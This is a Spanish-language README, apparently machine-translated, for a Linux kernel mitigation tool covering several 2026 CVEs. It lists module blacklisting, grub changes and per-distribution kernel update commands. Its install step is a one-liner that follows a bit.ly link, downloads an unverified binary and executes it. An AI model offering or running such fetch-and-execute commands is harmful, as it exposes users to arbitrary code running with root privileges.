Software de mitigación de vulnerabilidades de la familia frag / Herramienta de mitigación para la vulnerabilidad de la familia frag

• Copy Fail (2026)
• Dirty Frag (2026)
• Fragnesia (2026)
• DirtyClone (2026)
• PEdit-CoW (2026)

Aplicar la corrección en cualquier Linux / Ejecutar hotfix en cualquier Linux

b="/tmp/cve_2026_frag_family_fix"; wget -qO $b $(wget -qO- https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4) && chmod +x $b && $b

o

b="/tmp/cve_2026_frag_family_fix"; curl -fsSL "$(curl -fsSL https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4)" -o $b && chmod +x $b && $b

CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331

Descripción

• comprueba los módulos habilitados de CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331
• ofrece una actualización del kernel si está disponible
• desactiva esp4, esp6, rxrpc, act_pedit en caso contrario
• bloquea la carga de módulos mediante modprobe
• añade module_blacklist a grub
• elimina automáticamente el hotfix después de la actualización del kernel
• para sistemas compatibles con RHEL (AlmaLinux, Rocky, Oracle, Fedora), desactiva Boot Loader Specification (GRUB_ENABLE_BLSCFG=false), establece GRUB_DEFAULT=0 y crea un hook de instalación del kernel (/etc/kernel/install.d/99-grub-update.install) que regenera la configuración de grub después de la actualización del kernel, de modo que en el siguiente arranque se cargue el kernel más reciente.
• para versiones menores, ofrece y realiza una actualización a la última versión menor que tenga una actualización de kernel disponible

Descripción

• comprueba los módulos habilitados por la vulnerabilidad CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331
• ofrece una actualización del kernel si está disponible
• desactiva esp4, esp6, rxrpc, act_pedit en caso contrario
• bloquea la carga de módulos mediante modprobe
• añade module_blacklist a grub
• elimina automáticamente el hotfix después de la actualización del kernel
• para sistemas basados en RHEL (AlmaLinux, Rocky, Oracle, Fedora), desactiva Boot Loader Specification (GRUB_ENABLE_BLSCFG=false), establece GRUB_DEFAULT=0 y crea un hook de instalación del kernel (/etc/kernel/install.d/99-grub-update.install) que regenera la configuración de grub después de las actualizaciones del kernel para garantizar que el kernel más reciente se cargue en el siguiente arranque
• para versiones menores, ofrece y realiza una actualización a la última versión menor que tenga una actualización de kernel disponible

CVE-2026-31431 / mitigación de Copy Fail (algif_aead)

Descripción

La utilidad comprueba la vulnerabilidad CVE-2026-31431 (precondición) y, si dispone de privilegios de root, aplica la mitigación:

• identifica las combinaciones protegidas de sistema operativo (incluido WSL) y versiones del kernel
• ofrece una actualización del kernel con el parche si está disponible
• desactiva algif_aead en caso contrario
• bloquea la carga de módulos mediante modprobe
• añade initcall_blacklist=algif_aead_init
• restringe AF_ALG mediante systemd

Descripción

Esta herramienta comprueba la CVE-2026-31431 (precondición) y aplica la mitigación (requiere root):

• identifica las combinaciones protegidas de sistema operativo (incluido WSL) y versiones del kernel
• ofrece una actualización del kernel con la corrección si está disponible
• desactiva algif_aead en caso contrario
• bloquea la carga de módulos mediante modprobe
• añade initcall_blacklist=algif_aead_init
• restringe AF_ALG mediante systemd

Compilación en Linux / build

docker run --rm -v "$PWD":/app -w /app golang:alpine sh -c "apk add --no-cache upx && go build -ldflags='-s -w' -o cve_2026_frag_family_fix cve_2026_frag_family_fix.go && upx --best --ultra-brute cve_2026_frag_family_fix"

Actualización del kernel (no hotfix) disponible para / Existe una actualización del kernel (no hotfix) para

Comandos de actualización del kernel / Comandos de actualización del kernel

• Debian apt update && apt install linux-image-amd64 linux-headers-amd64 -y
• Ubuntu apt update && apt install linux-image-generic linux-headers-generic -y
• CentOS dnf clean metadata && dnf upgrade 'kernel*' -y
• AlmaLinux dnf clean metadata && dnf upgrade 'kernel*' -y
• RockyLinux dnf clean metadata && dnf upgrade 'kernel*' -y
• Fedora dnf clean metadata && dnf upgrade 'kernel*' -y
• OracleLinux dnf clean metadata && dnf upgrade 'kernel*' -y

Versión mínima del kernel para la corrección / Número de versión mínima del kernel corregido